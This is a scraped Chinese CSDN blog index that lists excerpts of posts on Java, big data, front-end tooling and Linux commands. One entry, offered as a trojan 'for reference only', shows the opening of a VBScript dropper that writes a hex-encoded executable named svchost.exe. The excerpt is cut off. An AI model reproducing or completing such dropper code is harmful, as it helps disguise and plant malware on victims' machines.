自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+

景山编程-顺道编程

编程里面营销最好的,营销里面写书最好的,写书里面大数据最好的,大数据里面管理最好的...

  • 博客(703)
  • 资源 (3)
  • 收藏
  • 关注

原创 jdbc 链接 sybase

/*获取JDBC连接,得到Connection对象*/public static Connection getConnection(){String Driver = “com.sybase.jdbc3.jdbc.SybDriver”; //数据库驱动String url = “jdbc:sybase:Tds:192.168.0.1:5000/DBNAME”; // 连接的数据库是...

2019-12-27 19:56:40 451

原创 RESTful 的思想

请求地址说明get/messages获取所有消息post/message创建⼀个消息put/messages修改消息内容patch/message/text修改消息的 text 字段get/messages/id根据 ID 获取消息delete/message/id根据 ID 删除消息...

2019-05-08 17:24:49 387

原创 Ubuntu18.04查看本机IP

1 默认的 Ubuntu 18.04 是没有安装 ifconfig 命令的,怎么办呢????1 执行 apt-get update 命令,更新依赖库链接。2 安装命令组件 net-toolsapt-get install net-tools3 执行成功后,再次运行 ifconfig 查看即可。...

2019-04-28 08:42:30 1198

转载 头号玩家 的三把钥匙

第一把钥匙:打破惯性思维,不走寻常路。一直以来我们都跟随着大多数人的方向在奔走,一路残酷的厮杀。我们在面对强大对手时,如果在同一个层面竞争,结果必然是失败的。就像剧中帕西瓦尔说的,规则就是那么设计的,我们永远赢不了金刚,永远到不了终点。但实际上,根本就不存在什么规则,原来车也可以倒着开,原来与大家相反的那条路反而是捷径,关键在于,如果冒着被清零的危险,你敢不敢尝试一次?第二把钥匙:直面遗憾的过...

2019-04-17 15:46:44 555

转载 机器学习数学相关书籍推荐

导语最近在学习机器学习,发现需要恶补数学知识。总感觉国内大学的教材只适合考试,对数学知识的理解和运用不到位。现整理一些评价很高的书,总的来说较适合工科类的同学打基础和提高。高等数学入门《托马斯微积分》:直观易读,强调建模应用和技巧训练,重要的是不失数学上的完整性,工科使用应该相当不错。作者:芬尼 / 韦尔 / 焦尔当诺《普林斯顿微积分读本》:没看过,据说评价很高。 作者:阿德里安·班纳...

2019-04-14 06:39:28 1117

转载 虚数到底有什么意义?从 i 说起

有人在Stack Exchange问了一个问题:"我一直觉得虚数(imaginary number)很难懂。中学老师说,虚数就是-1的平方根。可是,什么数的平方等于-1呢?计算器直接显示出错!直到今天,我也没有搞懂。谁能解释,虚数到底是什么?它有什么用?"帖子的下面,很多人给出了自己的解释,还推荐了一篇非常棒的文章《虚数的图解》。我读后恍然大悟,醍醐灌顶,原来虚数这么简单,一点也不奇怪和难...

2019-04-11 08:43:21 2183

转载 有源晶振跟无源晶振哪里不同

一、引脚不同:1.无源晶振是有2个引脚的无极性元件,需要借助于时钟电路才能产生振荡信号,自身无法振荡起来2.有源晶振有4只引脚,是一个完整的振荡器,其中除了石英晶体外,还有晶体管和阻容元件主要看你应用到的电路,如果有时钟电路,就用无源,否则就用有源。二、对振荡器的需要不同;1、无源晶体需要用DSP片内的振荡器,无源晶体没有电压的问题,信号电平是可变的,也就是说是根据起振电路来决定的,同样的...

2019-04-02 15:49:03 1081

原创 Unable to preventDefault inside passive event listener due to target being treated as passive 怎么办?

翻译一下:chrome 监听touch类事件报错:无法被动侦听事件preventDefault,是新版本chrome 浏览器报错。说明:说一下这个 preventDefault()是个什么鬼,这个是取消默认事件的,如果这个函数起作用的,比如默认的表单提交,a链接的点击跳转,就不好用了。原因:google浏览器为了最快速的相应touch事件,做出的改变。历史:当浏览器首先对默认的事件进行响应的...

2019-03-08 14:10:15 179940 11

原创 javascript 里面的 es6 语法 中的 import 跟export 的用法

ES6在语言规格的层面上,实现了模块功能,模块主要有两个功能:export和import1 export用于对外输出本模块(一个文件可以理解为一个模块)变量的接口2 import用于在一个模块中加载另一个含有export接口的模块。小结:也就是说使用export命令定义了模块的对外接口以后,其他JS文件就可以通过import命令加载这个模块(文件)。如下图(假设a和b文件在同一目录下)//...

2019-03-08 09:42:43 339

原创 vue-cli vue的脚手架 快速创建vue工程

vue-cli 这个构建工具大大降低了 webpack 的使用难度,开箱即用的特性,大大降低了我们的学习成本,加快了我们的开发速度。1 全局安装npm install -g vue-cli2 找一空的文件夹vue init webpack vue-demo3 安装完成初始化即可npm install...

2019-03-05 10:35:00 149

转载 什么是 JWT -- JSON WEB TOKEN

转自于:http://www.jianshu.com/p/576dbf44b2ae什么是JWTJson web token(JWT)是为了网络应用环境间传递声明而执行的一种基于JSON的开发标准(RFC 7519),该token被设计为紧凑且安全的,特别适用于分布式站点的单点登陆(SSO)场景。JWT的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息,以便于从资源服务器获取资源...

2019-03-05 10:19:28 164

原创 js中const,var,let区别

const 相当于常量,定义必须初始化如:const age=12;var 是最古老的,相当于全局变量,任何位置定义,到处都有影响,var name=‘张三’;let 也是个新事物,相当于局部变量,function getName(){ let name = ‘李四’ } 就仅仅在函数内部起作用...

2019-03-05 10:12:13 498

转载 C/C++、Java、Python谁是编译型语言,谁是解释型语言?

最近各大互联网公司线上笔试,编程题目里的编译器只支持C/C++、Java,甚至有的支持javaScrpit和Pascal,就是不支持Python。让一直以来用惯了Python的我直吐血,于是今天痛定思痛还是熟悉一下Java,免得继续被虐。学习的过程中,看到这样一个争论“Java、Python谁是编译型语言,谁是解释性语言?”。我在网上查了很多资料,也结合了自己的理解,下面与大家分享一下。总的来说...

2019-02-13 08:15:03 7202

转载 为什么Hbase能实现快速的查询

你的快速是指什么? 是根据亿级的记录中快速查询,还是说以实时的方式查询数据。A:如果快速查询(从磁盘读数据),hbase是根据rowkey查询的,只要能快速的定位rowkey, 就能实现快速的查询,主要是以下因素:1、hbase是可划分成多个region,你可以简单的理解为关系型数据库的多个分区。2、键是排好序了的3、按列存储的首先,能快速找到行所在的region(分区),假设表有10...

2019-01-24 10:40:16 457 2

原创 /etc/environment 与 /etc/profile区别

关键点:/etc/environment是设置整个系统的环境,而/etc/profile是设置所有用户的环境,前者与登录用户无关,后者与登录用户有关。跟环境变量相关的参数:/etc/profile ->/etc/enviroment -->$HOME/.profile -->$HOME/.env...

2019-01-21 08:48:04 1144

原创 hadoop 3.x 的新特性

基于jdk1.8(最低版本要求)mr采用基于内存的计算,提升性能(快spark 10倍)hdfs 通过最近black块计算,加快数据获取速度(块大小:256M)支持多NameNode(实现了更加可靠的HA)引入EC纠删码技术(EC:Erasure Coding) 存储空间节省50%精简了内核7.hadoop shell脚本重构默认端口修改9.支持数据的balancer(平衡)Intr...

2019-01-13 09:44:08 513

转载 ALS推荐算法—训练并保存—加载并测试

读取数据—清洗数据训练并保存import osfrom pyspark import SparkContext,SparkConffrom pyspark.mllib.recommendation import ALS,Ratingdef create_spark_context(): os.environ['JAVA_HOME'] = 'C:/Java/jdk1.8.0_91'...

2019-01-11 10:52:59 945

转载 数据仓库架构设计的一点概念

1、 STAGE层业务系统的数据接入到数据仓库时,首先将业务数据仓储到STAGE层中,Stage层作为一个临时缓冲区,并屏蔽对业务系统的干扰。STAGE层中的表结构和数据定义一般与业务系统保持一致。Stage中的数据可以每次全量接入也可以每次增量接入,一般都有会数据老化的机制,不用长期保存。Stage的数据不会对外部开放。2、 ODS层ODS才是数据仓库真正意义上的基础数据,数据是被清...

2019-01-10 11:09:05 466

原创 数据建模与分层

数据分层1 ods层:近源数据层,表结构与源系统表结构高度相似,通常在ods层主要会做字段的筛选,枚举值转换,编码统一,异常&缺失数据处理等操作。2 dw层:中间层,按主题建模(域->主题)的明细数据层,数据粒度与ods层一致。3 dm层:数据集市层。集市层是按照业务主题、分主题构建出来的、面向特定部门或人员的数据集合。数据建模方式:1 维度建模源于Kimball提出的总线...

2019-01-10 11:05:04 2553

原创 大数据的基本商业价值

主要商业价值为:解决当下“大规模、个性化”的商业需求主要计算方面为:1 运行监控 有效快速监控异常现象,防患于未然。2 用户分析 针对运营正常快速判读用户趋势 小步快跑降低试错成本 提升成功率3 精准推荐 让单个用户的画像变的更加精准,商业更高效...

2019-01-10 10:52:22 784

原创 流计算 应用场景

1 为了解决什么样的问题伴随着信息科技日新月异的发展,信息呈现出爆发式的膨胀,人们获取信息的途径也更加多样、更加便捷,同时对于信息的时效性要求也越来越高。举个搜索场景中的例子,当一个卖家发布了一条宝贝信息时,他希望的当然是这个宝贝马上就可以被卖家搜索出来、点击、购买啦,相反,如果这个宝贝要等到第二天或者更久才可以被搜出来,估计这个大哥就要骂娘了。再举一个推荐的例子,如果用户昨天在淘宝上买了一...

2019-01-10 10:49:35 4497

原创 一段木马,仅供参考

<SCRIPT Language=VBScript><!--DropFileName = "svchost.exe"WriteData = "4D5A90000300000004000000FFFF0000B8000000000000004000000000000000000000000000000000000000000000000000000000000000000000...

2018-10-31 21:24:00 274198 2

原创 MapReduce数据类型及自定义MapReduce数据类型

MR 基本数据类型BooleanWritableByteWritableDoubleWritableFloatWritableIntWritableLongWritableTextNullWritable

2018-10-17 14:32:33 332

原创 kafka java 主题及分区 副本操作代码

package com.jingshan.topic;import java.util.Properties;import org.apache.kafka.common.security.JaasUtils;import kafka.admin.AdminUtils;import kafka.admin.BrokerMetadata;import kafka.server.Con...

2018-09-28 16:18:51 2202 2

转载 彻底删除kafka的topic方法

1、删除kafka存储目录(server.properties文件log.dirs配置,默认为"/tmp/kafka-logs")相关topic目录2、Kafka 删除topic的命令是:kafka/bin/kafka-topics.sh --delete --zookeeper Zookeeper地址 --topic 主题名称如果kafaka启动时加载的配置文件中server.propert...

2018-09-28 15:01:19 482

转载 8 个实用的 Linux netcat 命令示例

Netcat 或者叫 nc 是 Linux 下的一个用于调试和检查网络工具包。可用于创建 TCP/IP 连接,最大的用途就是用来处理 TCP/UDP 套接字。这里我们将通过一些实例来学习 netcat 命令。在服务器-客户端架构上使用 Netcatnetcat 工具可运行于服务器模式,侦听指定端口$ nc -l 2389然后你可以使用客户端模式来连接到 2389 端口:$ nc ...

2018-09-27 11:04:37 168

原创 spark 通过 scala 读取数据 并且存入 mysql

import java.sql.{Connection,Driver,DriverManager,ResultSet,PreparedStatement}import org.apache.spark.{SparkConf, SparkContext}//把每个jsp的访问量,直接保存到Oracle数据中 // spark-submit --master local --class Sav...

2018-09-27 10:22:37 2604

原创 eclispe 添加远程的 maven 模版 原型或模板目录

1 添加新的分支2 添加远程模版依赖,点击按钮:Add Remote Catalog,3 分别添加如下地址即可Catalog file:http://repo1.maven.org/maven2/archetype-catalog.xmlDescription:Remote Catalog Scala...

2018-09-26 13:49:58 286

转载 常用的 npm 命令

写在前面npm 有很多命令,有很多并不常用,而有些则非常常用,还有些很有用,但很多人却不知道,下面列出了一些常见和一些非常有用的命令,并详细说明了它的用法。ls (alias list, la, ll)使用该命令可以列出当前项目依赖的模块,比较常见的参数有 depth只列出最上层的依赖npm ls --depth=0使用 npm la 可以一并列出模块的简要说明(也就是存在于 desc...

2018-09-25 20:57:11 354

原创 NPM 常用命令

1 版本查看 npm -v2 淘宝版本的npm 命令为 cnpm -v3 cnpm 更新自己 npm install npm -g 或者使用淘宝镜像更新:cnpm install npm -g4 使用 npm 命令安装模块 :npm install 例如:我们使用 npm 命令安装常用的 Node.js web框架模块 express:例如:npm install express安装...

2018-09-25 20:13:12 532

原创 PostCSS使用教程

PostCSS是一个用javascript转换CSS的工具,有了它可放心使用CSS未来的语法等增加代码的可读性:可自动添加属性前缀可使用最新的CSS语法,如变量定义可模块化CSS,CSS Modules可检查CSS语法错误,避免出错强大的格子系统LostGridCSS部分基础知识:1 CSS 变量声明:变量名前加两根半角中划线-,变量大小写敏感!--text-size:14px...

2018-09-23 21:27:08 1247

转载 css4的新特性 cssNext

1、父元素选择器:$div>span 例:.wrap>$div>span{color:red;} 此时样式会落在带有$的div身上 例2:$ol>li:only-child{list-style:none;} 此时样式会落在只有一个li子元素的ol身上。2、链接地址伪类:分割线//// :any-link(用于所有链接) :local-...

2018-09-23 20:52:21 2258

转载 前端什么鬼

不同点:vue 控制器:无;过滤器 :无 ;指令:有;渲染指令: 有 ;数据绑定:双向;React 控制器:无;过滤器 :无 ;指令:无;渲染指令 : 无 ;数据绑定:单向;angular 控制器:有;过滤器 :有 ;指令:有;渲染指令 : 有 ;数据绑定:双向;相同点:都是操作虚拟DOM(真实的dom,转换js对象树)学习思想:数据驱动...

2018-09-23 10:55:19 112

原创 webpack 4.19打包

第一步:安装 webpack工具1 配置淘宝库文件地址:防止国外镜像效果不好执行命令:npm install -g cnpm --registry=https://registry.npm.taobao.org2 检测npm版本执行命名:npm -v3 使用npm 安装webpack,并且安装到全局,这样就可以任何位置都使用webpack执行命令:npm install webpack...

2018-09-22 13:20:46 237

转载 npm install module_name -S -D -g

npm install module_name -S 即 npm install module_name --save 写入dependenciesnpm install module_name -D 即 npm install module_name --save-dev 写入devDependenciesnpm install module_name -g...

2018-09-22 12:47:55 440

原创 我们在使用npm install --save-dev 与 -save 的区别

我们在使用npm install 安装模块或插件的时候,有两种命令把他们写入到 package.json 文件里面去,比如:--save-dev--save在 package.json 文件里面提现出来的区别就是:使用 --save-dev 安装的 插件,被写入到 devDependencies 对象里面去使用 --save 安装的插件,责被写入到 dependencies 对象里面...

2018-09-22 12:45:02 230

原创 hive Alter Table 语句

它是在Hive中用来修改的表。语法声明接受任意属性,我们希望在一个表中修改以下语法。ALTER TABLE name RENAME TO new_nameALTER TABLE name ADD COLUMNS (col_spec[, col_spec ...])ALTER TABLE name DROP [COLUMN] column_nameALTER TABLE name CHA...

2018-09-18 14:37:04 2416

原创 hive 知识架构图

hive 全部知识结构图解

2018-09-18 09:37:03 220

原创 hive 的数据模型中四种表:

-Table内部表 -External Table 外部表 -Partition分区表 -Bucket Table 桶表

2018-09-17 09:58:49 1157

转载 hive 与 hdfs 文件的关系

Hive 是一个建立在hadoop文件系统上的数据仓库架构,可以用其对hdfs上数据进行分析与管理。实际上是将hdfs上的文件映射成table(按文件格式创建table,然后hive的数据仓库会生成对应的目录,默认的仓库路径:user/hive/warehouse/tablename,目录名与这个表名相同,这时只要将符合table定义的文件加载到该目录便可通过Hql对整个目录的文件进行查询了。...

2018-09-17 09:58:02 18669

spark 机器学习 第二版 含源码 高清版本

高清的spark 机器学习 电子书 第二版本,内含完成的 java python scala r 对应的操作源码及数据

2019-04-04

高仿京东首页

高仿静态京东资源

2017-05-11

windows 64 redis 2.8

2016-07-28

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除